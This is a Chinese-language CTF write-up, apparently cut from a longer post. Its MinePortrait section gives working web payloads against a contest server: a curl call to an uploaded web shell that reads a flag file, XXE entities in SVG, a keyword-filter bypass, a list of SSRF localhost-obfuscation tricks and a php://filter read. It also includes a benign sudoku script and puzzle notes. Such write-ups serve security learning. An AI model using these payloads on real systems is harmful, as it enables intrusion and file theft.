curl -k "https://79546a564770794f7565515a5937384d39476e5762-p80.chal.buptmerak.cn/storage/tmp/32db9bf55d1d.phtml?cmd=cat%20/var/www/html/flag"

MinePortrait#

打开后发现是个星露谷的登陆界面，尝试随便输入账号密码，提示 Invalid workshop badge.。

尝试查看 robots.txt ，发现 Disallow: /www.zip ，成功下载到两个文件。其中的 Python 文件展示了一个账号密码：

1
# leaked login source
2
USERNAME = "m0rnis"
3
PASSWORD = "passw0rd"
4

5
def check_login(username, password):
6
    if username == USERNAME and password == PASSWORD:
7
        return True
8
    return False

尝试后成功登录进去，注意到得到了一个 session: junimo-session-m0rnis ，比较奇怪的是是明文，尝试修改为 admin 后发现要重新登录，暂时没发现有什么突破口。

再看登录后的界面是一个类似于图片格式转化的功能，难道跟玛德莱娜一样是文件上传漏洞吗？在进行了简单的前端代码审计后发现 submit 被监听阻止默认事件并且在本地用 canvas 做了一个伪转化，但是有个关键的判断：

1
if (source === "svg" && target === "png") {
2
  const text = await blobToText(file);
3
  if (/<!\s*(doctype|entity)|SYSTEM\s+["']/i.test(text)) {
4
    setStatus("Sending SVG to the workshop renderer...");
5
    return;
6
  }
7
}

也就是说当原来的图为 svg ，目标转化为 png 时，会直接上传而不是本地伪转化。本地找了个 svg 上传一下，发现会先显示该 svg ，然后 submit 成功，服务端返回一个带有信纸背景的文字图 Portrait conversion completed. 。这里请教 m0rnis 学长后得知 svg2png 是经典的一个问题，于是在写 wp 时上网查询相关关键词，得知 svg 实际上支持 js 和 xml 的一些标准，而这里的 xml 就会带来一个经典问题即 XXE ，同时 js 还会带来 XSS 问题。

在上传其他带有图像的 svg 时只会返回同一段文本，而只有 <text></text> 的 svg 就会显示 text 的内容，所以 XXE 的方向应该就是通过读取外带 flag 到返回的图中来。

注意到本题 www.zip 给出的另一个文件中有提到：

1
# Pelican Town workshop internal notes
2
#
3
# private media helper:
4
#   service = 127.0.0.1
5
#   route = /fetch.php
6
#   query = url
7
# flag in flag.txt
8
# The media helper is only reachable from the workshop network.
9
# It was kept for legacy artwork imports used by older portrait tools.

也就是说存在一个可以通过 url 获取东西的服务只在 workshop network 可访问。前期排查突破口时有尝试通过修改 host 、xxf 的方式来访问均失败，而现在我们访问的 /convert 的确是处在 workshop network 的，也就是说我们接下来就是要想办法让该接口去访问那个服务从而拿到 flag 。

1
<!DOCTYPE svg [<!ENTITY e SYSTEM "http://example.com/">]>
2
<svg><text>&e;</text></svg>

返回 The Junimos found sensitive keywords within your XML. Go refine it! 说明存在关键词过滤器，经过多番尝试后发现关键词是 <!DOCTYPE> ，但是可以通过在其中添加空格来绕过（这里不能使用编码转换来绕过，因为这样会使得 <text> 不被正则匹配导致返回的值只为默认的 Portrait conversion completed. ）：

1
<! DOCTYPE svg [<! ENTITY e SYSTEM "http://127.0.0.1/">]>
2
<svg><text>&e;</text></svg>

返回 Remote media URL rejected: 127.0.0.1/ ，查询后得知这是一个典型的 SSRF 过滤拦截。当服务器试图请求远程媒体资源时，它会检查 url 中的主机地址，一旦发现是 127.0.0.1 或 localhost 就会拒绝。而绕过方法有很多，以下列出对于本题可以绕过的方法：

1
http://2130706433/      # 十进制
2
http://0x7f000001/      # 十六进制
3
http://0177.0.0.1/      # 八进制
4
http://0x7f.1/       # 十六进制 + 短写
5
http://[::ffff:127.0.0.1]/      # IPV6
6
http://[::ffff:7f00:1]/      # IPV6

以上这些会返回 Conversion failed: HTTP Error 404: Not Found ，说明真的连上了。还有一些绕过方法本题仍然会被拒绝：

1
http://127.1/      # 短写
2
http://expected.com@127.0.0.1/      # userinfo 混淆
3
http://127.0.0.1\@allowed.com/      # 反斜杠路径混淆

接下来如果直接使用 url 去访问 /flag.txt 的话会返回 media source rejected: missing media adapter ，根据好心出题人的 hint ：

祝尼魔们会拦下不少本机地址，却会收下用filter包好的信。

可知应当使用 php://filter 进行一下流包装，选用 base64 即可。

1
http://[::ffff:7f00:1]/fetch.php?url=php%3A//filter/convert.base64-encode/resource%3D%2Fflag.txt

最终得到的 base64 拿去解码即可获得 flag 。

play it#

签到题，找个解数独的网站，然后写下 python 脚本去批量发送 set 命令，最后 submit 即可。

以下为脚本：

1
#!/usr/bin/env python3
2
from pwn import *
3
import sys
4

5
HOST = "747264534a636730614e30344b56526d487a68635a-p9999.chal.buptmerak.cn"
6
PORT = 443
7

8
# 如果题目里的行列是从 1 开始的，把 BASE 改成 1
9
# 如果是从 0 开始的，保持 0
10
BASE = 1
11

12
context.log_level = 'info'
13

14
def recv_all(timeout=2):
15
    data = b''
16
    while True:
17
        try:
18
            chunk = p.recv(timeout=timeout)
19
        except EOFError:
20
            break
21
        if not chunk:
22
            break
23
        data += chunk
24
        sys.stdout.write(chunk.decode(errors='replace'))
25
        sys.stdout.flush()
26
    return data
27

28
p = remote(HOST, PORT, ssl=True, sni=HOST)
29

30
print("[+] 已连接，服务端初始返回：")
31
recv_all(timeout=2)
32

33
print("\n[+] 请输入 9x9 数独矩阵")
34
print("    0 表示空格；每行 9 个数字，可空格分隔或连续输入")
35
grid = []
36
for i in range(9):
37
    while True:
38
        line = input(f"第 {i+1} 行: ").strip()
39
        if not line:
40
            continue
41

42
        parts = line.split()
43
        if len(parts) == 9:
44
            nums = parts
45
        else:
46
            digits = [ch for ch in line if ch.isdigit()]
47
            if len(digits) == 9:
48
                nums = digits
49
            else:
50
                print("格式错误，请重新输入这一行")
51
                continue
52

53
        grid.append(nums)
54
        break
55

56
print("[+] 开始发送 set 命令...")
57
for r in range(9):
58
    for c in range(9):
59
        n = int(grid[r][c])
60
        if n != 0:
61
            cmd = f"set {r + BASE} {c + BASE} {n}\n"
62
            p.send(cmd.encode())
63

64
print("[+] 发送完毕，接收服务端返回：")
65
recv_all(timeout=3)
66

67
print("\n[+] 进入交互模式，可继续手动操作，Ctrl-C 退出")
68
p.interactive()
69

70
# 第 1 行: 912487356
71
# 第 2 行: 734651829
72
# 第 3 行: 586392471
73
# 第 4 行: 468539712
74
# 第 5 行: 371264598
75
# 第 6 行: 295178634
76
# 第 7 行: 153826947
77
# 第 8 行: 827943165
78
# 第 9 行: 649715283

findit#

附件给了 100 个 mp3 ，要在多轮中内完成对指定预处理后的音频段找出其所在的音频以及起始点，查询后得知 Chroma 特征 适用于这种预处理后的音频特征识别，所以可以写一个程序来进行特征库建立与自动化识别。

然而后来发现附件没有给 bgm ，只建立 track 的特征库远不够答对，但是在 dsh 的努力下，其抓了一些服务端的音频到本地一阵分析，最后使用了一个 逐带 z-score 归一 给解决了。ds 的解决程序在博客结尾给出。

逐带 z-score 归一就是“每个波段各自减自己的均值、除自己的标准差”，使各波段均值为 0、标准差为 1。—— deepseek BGM 在对数幅度域近似为每带的常量偏移，逐带减均值除标准差正好把它消掉，让匹配依赖语音的频谱形状而非共享的 BGM。—— deepseek

!_MisC_!（未做出）#

先尝试用 zsteg 扫了一遍 icon.png ，没发现任何问题，然后又用 grep 命令扫了一遍目录未发现 flag 标志。

通过查看 level.dat 发现地图版本为 26.3（后来发现怎么题面有写版本，建议把版本列为 misc 一环（）），用对应版本我的世界进入后发现是个巨大的红石电路构成的一个解谜，转了一圈发现看不懂红石电路（寄）

PIP 下载 Amulet-Core 后将存档交给 dsh 去分析，但是这方法明显不对，消耗大量 tokens 后无果，暂时放弃。

后面搜索各种方案找到一种常见的不用 dsh 自己按字节从零去分析 NBT 的方法：WorldEdit 导出选取 + Nucleation 模拟 。然后就是漫长的 AI 试错 + 分析了。然而仍然未做出来。

hint1 的意思大概是调随机刻？hint2 指明了按钮十六进制是 flag 编码后结果。